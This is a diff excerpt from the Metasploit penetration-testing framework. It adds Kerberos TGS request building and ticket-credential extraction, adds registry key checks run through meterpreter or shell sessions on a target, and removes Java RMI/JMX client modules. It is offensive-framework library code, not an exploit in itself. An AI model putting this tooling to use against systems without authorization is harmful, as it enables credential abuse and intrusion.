if opts[:pa_data]
|
||||||
|
opts[:pa_data].each { |pa| pa_data.push(pa) }
|
||||||
|
end
|
||||||
|
|
||||||
|
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
||||||
|
pvno: 5,
|
||||||
|
msg_type: Rex::Proto::Kerberos::Model::TGS_REQ,
|
||||||
|
pa_data: pa_data,
|
||||||
|
req_body: body
|
||||||
|
)
|
||||||
|
|
||||||
|
request
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds the encrypted TGS authorization data
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::AuthorizationData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::EncryptedData]
|
||||||
|
# @raise [RuntimeError] if auth_data option isn't provided
|
||||||
|
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||||
|
def build_enc_auth_data(opts = {})
|
||||||
|
auth_data = opts[:auth_data]
|
||||||
|
|
||||||
|
if auth_data.nil?
|
||||||
|
raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data'
|
||||||
|
end
|
||||||
|
|
||||||
|
subkey = opts[:subkey] || build_subkey(opts)
|
||||||
|
|
||||||
|
encrypted = auth_data.encrypt(subkey.type, subkey.value)
|
||||||
|
|
||||||
|
e_data = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||||
|
etype: subkey.type,
|
||||||
|
cipher: encrypted
|
||||||
|
)
|
||||||
|
|
||||||
|
e_data
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a KRB_AP_REQ message
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Fixnum, Rex::Proto::Kerberos::Model::Ticket, Rex::Proto::Kerberos::Model::EncryptedData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||||
|
# @option opts [Fixnum] :pvno
|
||||||
|
# @option opts [Fixnum] :msg_type
|
||||||
|
# @option opts [Fixnum] :ap_req_options
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||||
|
# @raise [RuntimeError] if ticket option isn't provided
|
||||||
|
# @see Rex::Proto::Kerberos::Model::Ticket
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||||
|
def build_ap_req(opts = {})
|
||||||
|
pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION
|
||||||
|
msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ
|
||||||
|
options = opts[:ap_req_options] || 0
|
||||||
|
ticket = opts[:ticket]
|
||||||
|
authenticator = opts[:authenticator] || build_authenticator(opts)
|
||||||
|
session_key = opts[:session_key] || build_subkey(opts)
|
||||||
|
|
||||||
|
if ticket.nil?
|
||||||
|
raise ::RuntimeError, 'Building a AP-REQ without ticket not supported'
|
||||||
|
end
|
||||||
|
|
||||||
|
enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||||
|
etype: session_key.type,
|
||||||
|
cipher: authenticator.encrypt(session_key.type, session_key.value)
|
||||||
|
)
|
||||||
|
|
||||||
|
ap_req = Rex::Proto::Kerberos::Model::ApReq.new(
|
||||||
|
pvno: pvno,
|
||||||
|
msg_type: msg_type,
|
||||||
|
options: options,
|
||||||
|
ticket: ticket,
|
||||||
|
authenticator: enc_authenticator
|
||||||
|
)
|
||||||
|
|
||||||
|
ap_req
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a kerberos authenticator for a TGS request
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::PrincipalName, String, Time, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||||
|
# @option opts [String] :realm
|
||||||
|
# @option opts [Time] :ctime
|
||||||
|
# @option opts [Fixnum] :cusec
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::Authenticator]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||||
|
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||||
|
# @see Rex::Proto::Kerberos::Model::Authenticator
|
||||||
|
def build_authenticator(opts = {})
|
||||||
|
cname = opts[:cname] || build_client_name(opts)
|
||||||
|
realm = opts[:realm] || ''
|
||||||
|
ctime = opts[:ctime] || Time.now
|
||||||
|
cusec = opts[:cusec] || ctime.usec
|
||||||
|
checksum = opts[:checksum] || build_tgs_body_checksum(opts)
|
||||||
|
subkey = opts[:subkey] || build_subkey(opts)
|
||||||
|
|
||||||
|
authenticator = Rex::Proto::Kerberos::Model::Authenticator.new(
|
||||||
|
vno: 5,
|
||||||
|
crealm: realm,
|
||||||
|
cname: cname,
|
||||||
|
checksum: checksum,
|
||||||
|
cusec: cusec,
|
||||||
|
ctime: ctime,
|
||||||
|
subkey: subkey
|
||||||
|
)
|
||||||
|
|
||||||
|
authenticator
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds an encryption key to protect the data sent in the TGS request.
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||||
|
# @option opts [Fixnum] :subkey_type
|
||||||
|
# @option opts [String] :subkey_value
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||||
|
def build_subkey(opts={})
|
||||||
|
subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||||
|
subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16)
|
||||||
|
|
||||||
|
subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new(
|
||||||
|
type: subkey_type,
|
||||||
|
value: subkey_value
|
||||||
|
)
|
||||||
|
|
||||||
|
subkey
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Builds a kerberos TGS request body
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName, Rex::Proto::Kerberos::Model::EncryptedData>}]
|
||||||
|
# @option opts [Fixnum] :options
|
||||||
|
# @option opts [Time] :from
|
||||||
|
# @option opts [Time] :till
|
||||||
|
# @option opts [Time] :rtime
|
||||||
|
# @option opts [Fixnum] :nonce
|
||||||
|
# @option opts [Fixnum] :etype
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||||
|
# @option opts [String] :realm
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||||
|
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
||||||
|
def build_tgs_request_body(opts = {})
|
||||||
|
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
||||||
|
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
||||||
|
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
||||||
|
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
||||||
|
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
||||||
|
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
||||||
|
cname = opts[:cname] || build_client_name(opts)
|
||||||
|
realm = opts[:realm] || ''
|
||||||
|
sname = opts[:sname] || build_server_name(opts)
|
||||||
|
enc_auth_data = opts[:enc_auth_data] || nil
|
||||||
|
|
||||||
|
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
||||||
|
options: options,
|
||||||
|
cname: cname,
|
||||||
|
realm: realm,
|
||||||
|
sname: sname,
|
||||||
|
from: from,
|
||||||
|
till: till,
|
||||||
|
rtime: rtime,
|
||||||
|
nonce: nonce,
|
||||||
|
etype: etype,
|
||||||
|
enc_auth_data: enc_auth_data
|
||||||
|
)
|
||||||
|
|
||||||
|
body
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a Kerberos TGS Request body checksum
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::KdcRequestBody, Fixnum>}]
|
||||||
|
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
||||||
|
# @return [Rex::Proto::Kerberos::Model::Checksum]
|
||||||
|
# @see #build_tgs_request_body
|
||||||
|
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||||
|
def build_tgs_body_checksum(opts = {})
|
||||||
|
body = opts[:body] || build_tgs_request_body(opts)
|
||||||
|
checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5)
|
||||||
|
checksum = Rex::Proto::Kerberos::Model::Checksum.new(
|
||||||
|
type: 7,
|
||||||
|
checksum: checksum_body
|
||||||
|
)
|
||||||
|
|
||||||
|
checksum
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,78 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/kerberos'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Kerberos
|
||||||
|
module Client
|
||||||
|
module TgsResponse
|
||||||
|
|
||||||
|
# Extracts the Kerberos credentials, buildint a MIT Cache Credential,
|
||||||
|
# from a Kerberos TGS response.
|
||||||
|
#
|
||||||
|
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||||
|
# @param key [String]
|
||||||
|
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||||
|
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||||
|
# @see Msf::Kerberos::Client::CacheCredential
|
||||||
|
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
||||||
|
def extract_kerb_creds(res, key)
|
||||||
|
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE)
|
||||||
|
enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||||
|
|
||||||
|
client = create_cache_principal(
|
||||||
|
name_type: res.cname.name_type,
|
||||||
|
realm: res.crealm,
|
||||||
|
components: res.cname.name_string
|
||||||
|
)
|
||||||
|
|
||||||
|
server = create_cache_principal(
|
||||||
|
name_type: enc_res.sname.name_type,
|
||||||
|
realm: enc_res.srealm,
|
||||||
|
components: enc_res.sname.name_string
|
||||||
|
)
|
||||||
|
|
||||||
|
key = create_cache_key_block(
|
||||||
|
key_type: enc_res.key.type,
|
||||||
|
key_value: enc_res.key.value
|
||||||
|
)
|
||||||
|
|
||||||
|
times = create_cache_times(
|
||||||
|
auth_time: enc_res.auth_time,
|
||||||
|
start_time: enc_res.start_time,
|
||||||
|
end_time: enc_res.end_time,
|
||||||
|
renew_till: enc_res.renew_till
|
||||||
|
)
|
||||||
|
|
||||||
|
credential = create_cache_credential(
|
||||||
|
client: client,
|
||||||
|
server: server,
|
||||||
|
key: key,
|
||||||
|
time: times,
|
||||||
|
ticket: res.ticket.encode,
|
||||||
|
flags: enc_res.flags
|
||||||
|
)
|
||||||
|
|
||||||
|
cache_principal = create_cache_principal(
|
||||||
|
name_type: res.cname.name_type, # NT_PRINCIPAL
|
||||||
|
#realm: realm,# opts[:realm],
|
||||||
|
realm: res.crealm,
|
||||||
|
#components: user # [opts[:cname]]
|
||||||
|
components: res.cname.name_string
|
||||||
|
)
|
||||||
|
|
||||||
|
cache = create_cache(
|
||||||
|
primary_principal: cache_principal,
|
||||||
|
credentials: [credential]
|
||||||
|
)
|
||||||
|
|
||||||
|
cache
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -105,3 +105,6 @@ require 'msf/core/exploit/android'
|
||||||
# Browser Exploit Server
|
# Browser Exploit Server
|
||||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||||
require 'msf/core/exploit/browser_autopwn2'
|
require 'msf/core/exploit/browser_autopwn2'
|
||||||
|
|
||||||
|
# Kerberos Support
|
||||||
|
require 'msf/core/exploit/kerberos/client'
|
||||||
|
|
|
@ -76,9 +76,12 @@ module Msf::Payload::Windows
|
||||||
# info['Alias'] = 'windows/' + info['Alias']
|
# info['Alias'] = 'windows/' + info['Alias']
|
||||||
#end
|
#end
|
||||||
|
|
||||||
|
|
||||||
|
acceptable_exit_types = @@exit_types.keys.collect { |e| e.blank? ? "''" : e }.uniq
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', @@exit_types.keys])
|
Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', acceptable_exit_types])
|
||||||
], Msf::Payload::Windows )
|
], Msf::Payload::Windows )
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
|
|
|
@ -145,6 +145,19 @@ module Registry
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Checks if a key exists on the target registry
|
||||||
|
#
|
||||||
|
# @param key [String] the full path of the key to check
|
||||||
|
# @return [Boolean] true if the key exists on the target registry, false otherwise
|
||||||
|
# (also in case of error)
|
||||||
|
def registry_key_exist?(key)
|
||||||
|
if session_has_registry_ext
|
||||||
|
meterpreter_registry_key_exist?(key)
|
||||||
|
else
|
||||||
|
shell_registry_key_exist?(key)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -310,6 +323,26 @@ protected
|
||||||
shell_registry_cmd_result("add /f \"#{key}\" /v \"#{valname}\" /t \"#{type}\" /d \"#{data}\" /f", view)
|
shell_registry_cmd_result("add /f \"#{key}\" /v \"#{valname}\" /t \"#{type}\" /d \"#{data}\" /f", view)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Checks if a key exists on the target registry using a shell session
|
||||||
|
#
|
||||||
|
# @param key [String] the full path of the key to check
|
||||||
|
# @return [Boolean] true if the key exists on the target registry, false otherwise,
|
||||||
|
# even if case of error (invalid arguments) or the session hasn't permission to
|
||||||
|
# access the key
|
||||||
|
def shell_registry_key_exist?(key)
|
||||||
|
begin
|
||||||
|
key = normalize_key(key)
|
||||||
|
rescue ArgumentError
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
results = shell_registry_cmd("query \"#{key}\"")
|
||||||
|
if results =~ /ERROR: /i
|
||||||
|
return false
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
# Meterpreter-specific registry manipulation methods
|
# Meterpreter-specific registry manipulation methods
|
||||||
|
@ -515,6 +548,27 @@ protected
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Checks if a key exists on the target registry using a meterpreter session
|
||||||
|
#
|
||||||
|
# @param key [String] the full path of the key to check
|
||||||
|
# @return [Boolean] true if the key exists on the target registry, false otherwise
|
||||||
|
# (also in case of error)
|
||||||
|
def meterpreter_registry_key_exist?(key)
|
||||||
|
begin
|
||||||
|
root_key, base_key = session.sys.registry.splitkey(key)
|
||||||
|
rescue ArgumentError
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
check = session.sys.registry.check_key_exists(root_key, base_key)
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError, TimesoutError
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
check
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Normalize the supplied full registry key string so the root key is sane. For
|
# Normalize the supplied full registry key string so the root key is sane. For
|
||||||
# instance, passing "HKLM\Software\Dog" will return 'HKEY_LOCAL_MACHINE\Software\Dog'
|
# instance, passing "HKLM\Software\Dog" will return 'HKEY_LOCAL_MACHINE\Software\Dog'
|
||||||
|
|
|
@ -30,7 +30,7 @@ class RPC_Core < RPC_Base
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Returns a global datstore option.
|
# Returns a global datastore option.
|
||||||
#
|
#
|
||||||
# @param [String] var The name of the global datastore.
|
# @param [String] var The name of the global datastore.
|
||||||
# @return [Hash] The global datastore option. If the option is not set, then the value is empty.
|
# @return [Hash] The global datastore option. If the option is not set, then the value is empty.
|
||||||
|
|
|
@ -1,96 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
require 'rex/java/serialization'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Builder
|
|
||||||
# Builds a RMI header stream
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
|
||||||
# @option opts [String] :signature
|
|
||||||
# @option opts [Fixnum] :version
|
|
||||||
# @option opts [Fixnum] :protocol
|
|
||||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
|
||||||
def build_header(opts = {})
|
|
||||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
|
||||||
version = opts[:version] || 2
|
|
||||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
|
||||||
|
|
||||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
|
||||||
signature: signature,
|
|
||||||
version: version,
|
|
||||||
protocol: protocol)
|
|
||||||
|
|
||||||
header
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a RMI call stream
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Fixnum, Array>}]
|
|
||||||
# @option opts [Fixnum] :message_id
|
|
||||||
# @option opts [Fixnum] :object_number Random to identify the object.
|
|
||||||
# @option opts [Fixnum] :uid_number Identifies the VM where the object was generated.
|
|
||||||
# @option opts [Fixnum] :uid_time Time where the object was generated.
|
|
||||||
# @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM
|
|
||||||
# at the same time.
|
|
||||||
# @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
|
|
||||||
# it is -1.
|
|
||||||
# @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
|
|
||||||
# representing the method to call.
|
|
||||||
# @option opts [Array] :arguments
|
|
||||||
# @return [Rex::Proto::Rmi::Model::Call]
|
|
||||||
def build_call(opts = {})
|
|
||||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
|
||||||
object_number = opts[:object_number] || 0
|
|
||||||
uid_number = opts[:uid_number] || 0
|
|
||||||
uid_time = opts[:uid_time] || 0
|
|
||||||
uid_count = opts[:uid_count] || 0
|
|
||||||
operation = opts[:operation] || -1
|
|
||||||
hash = opts[:hash] || 0
|
|
||||||
arguments = opts[:arguments] || []
|
|
||||||
|
|
||||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new(
|
|
||||||
number: uid_number,
|
|
||||||
time: uid_time,
|
|
||||||
count: uid_count
|
|
||||||
)
|
|
||||||
|
|
||||||
call_data = Rex::Proto::Rmi::Model::CallData.new(
|
|
||||||
object_number: object_number,
|
|
||||||
uid: uid,
|
|
||||||
operation: operation,
|
|
||||||
hash: hash,
|
|
||||||
arguments: arguments
|
|
||||||
)
|
|
||||||
|
|
||||||
call = Rex::Proto::Rmi::Model::Call.new(
|
|
||||||
message_id: message_id,
|
|
||||||
call_data: call_data
|
|
||||||
)
|
|
||||||
|
|
||||||
call
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a RMI dgc ack stream
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
|
||||||
# @option opts [Fixnum] :stream_id
|
|
||||||
# @option opts [String] :unique_identifier
|
|
||||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
|
||||||
def build_dgc_ack(opts = {})
|
|
||||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
|
||||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
||||||
|
|
||||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
|
||||||
stream_id: stream_id,
|
|
||||||
unique_identifier: unique_identifier
|
|
||||||
)
|
|
||||||
|
|
||||||
dgc_ack
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,147 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/proto/rmi'
|
|
||||||
require 'rex/java/serialization'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
|
|
||||||
require 'msf/java/rmi/util'
|
|
||||||
require 'msf/java/rmi/builder'
|
|
||||||
require 'msf/java/rmi/client/registry'
|
|
||||||
require 'msf/java/rmi/client/jmx'
|
|
||||||
|
|
||||||
include Msf::Java::Rmi::Util
|
|
||||||
include Msf::Java::Rmi::Builder
|
|
||||||
include Msf::Java::Rmi::Client::Registry
|
|
||||||
include Msf::Java::Rmi::Client::Jmx
|
|
||||||
include Exploit::Remote::Tcp
|
|
||||||
|
|
||||||
# Returns the target host
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def rhost
|
|
||||||
datastore['RHOST']
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns the target port
|
|
||||||
#
|
|
||||||
# @return [Fixnum]
|
|
||||||
def rport
|
|
||||||
datastore['RPORT']
|
|
||||||
end
|
|
||||||
|
|
||||||
# Returns the RMI server peer
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def peer
|
|
||||||
"#{rhost}:#{rport}"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Sends a RMI header stream
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [Fixnum] the number of bytes sent
|
|
||||||
# @see Msf::Rmi::Client::Streams#build_header
|
|
||||||
def send_header(opts = {})
|
|
||||||
nsock = opts[:sock] || sock
|
|
||||||
stream = build_header(opts)
|
|
||||||
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
|
|
||||||
end
|
|
||||||
|
|
||||||
# Sends a RMI CALL stream
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @option opts [Rex::Proto::Rmi::Model::Call] :call
|
|
||||||
# @return [Fixnum] the number of bytes sent
|
|
||||||
# @see Msf::Rmi::Client::Streams#build_call
|
|
||||||
def send_call(opts = {})
|
|
||||||
nsock = opts[:sock] || sock
|
|
||||||
call = opts[:call] || build_call(opts)
|
|
||||||
nsock.put(call.encode)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Sends a RMI DGCACK stream
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [Fixnum] the number of bytes sent
|
|
||||||
# @see Msf::Rmi::Client::Streams#build_dgc_ack
|
|
||||||
def send_dgc_ack(opts = {})
|
|
||||||
nsock = opts[:sock] || sock
|
|
||||||
stream = build_dgc_ack(opts)
|
|
||||||
nsock.put(stream.encode)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Reads the Protocol Ack
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck] if success
|
|
||||||
# @return [NilClass] otherwise
|
|
||||||
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
|
|
||||||
def recv_protocol_ack(opts = {})
|
|
||||||
nsock = opts[:sock] || sock
|
|
||||||
data = safe_get_once(nsock)
|
|
||||||
begin
|
|
||||||
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
|
|
||||||
rescue Rex::Proto::Rmi::DecodeError
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
ack
|
|
||||||
end
|
|
||||||
|
|
||||||
# Reads a ReturnData message and returns the java serialized stream
|
|
||||||
# with the return data value.
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [Rex::Proto::Rmi::Model::ReturnValue] if success
|
|
||||||
# @return [NilClass] otherwise
|
|
||||||
# @see Rex::Proto::Rmi::Model::ReturnData.decode
|
|
||||||
def recv_return(opts = {})
|
|
||||||
nsock = opts[:sock] || sock
|
|
||||||
data = safe_get_once(nsock)
|
|
||||||
|
|
||||||
begin
|
|
||||||
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
|
|
||||||
rescue Rex::Proto::Rmi::DecodeError
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
return_data.return_value
|
|
||||||
end
|
|
||||||
|
|
||||||
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
|
|
||||||
#
|
|
||||||
# @param nsock [Rex::Socket::Tcp]
|
|
||||||
# @return [String]
|
|
||||||
def safe_get_once(nsock = sock)
|
|
||||||
data = ''
|
|
||||||
begin
|
|
||||||
res = nsock.get_once
|
|
||||||
rescue ::EOFError
|
|
||||||
res = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
until res.nil? || res.length < 1448
|
|
||||||
data << res
|
|
||||||
begin
|
|
||||||
res = nsock.get_once
|
|
||||||
rescue ::EOFError
|
|
||||||
res = nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
data << res if res
|
|
||||||
data
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,23 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
module Jmx
|
|
||||||
require 'msf/java/rmi/client/jmx/server'
|
|
||||||
require 'msf/java/rmi/client/jmx/connection'
|
|
||||||
|
|
||||||
include Msf::Java::Rmi::Client::Jmx::Server
|
|
||||||
include Msf::Java::Rmi::Client::Jmx::Connection
|
|
||||||
|
|
||||||
OBJECT_NAME_UID = 1081892073854801359
|
|
||||||
BYTE_ARRAY_UID = -5984413125824719648
|
|
||||||
MARSHALLED_OBJECT_UID = 8988374069173025854
|
|
||||||
STRING_ARRAY_UID = -5921575005990323385
|
|
||||||
OBJECT_ARRAY_UID = -8012369246846506644
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,122 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
module Jmx
|
|
||||||
# This mixin provides methods to simulate calls to the Java
|
|
||||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub
|
|
||||||
# interface
|
|
||||||
module Connection
|
|
||||||
require 'msf/java/rmi/client/jmx/connection/builder'
|
|
||||||
|
|
||||||
include Msf::Java::Rmi::Client::Jmx::Connection::Builder
|
|
||||||
|
|
||||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
|
||||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
|
||||||
# method.
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
|
||||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
|
||||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance
|
|
||||||
def send_jmx_get_object_instance(opts = {})
|
|
||||||
send_call(
|
|
||||||
sock: opts[:sock] || sock,
|
|
||||||
call: build_jmx_get_object_instance(opts)
|
|
||||||
)
|
|
||||||
|
|
||||||
return_value = recv_return(
|
|
||||||
sock: opts[:sock] || sock
|
|
||||||
)
|
|
||||||
|
|
||||||
if return_value.nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
if return_value.is_exception?
|
|
||||||
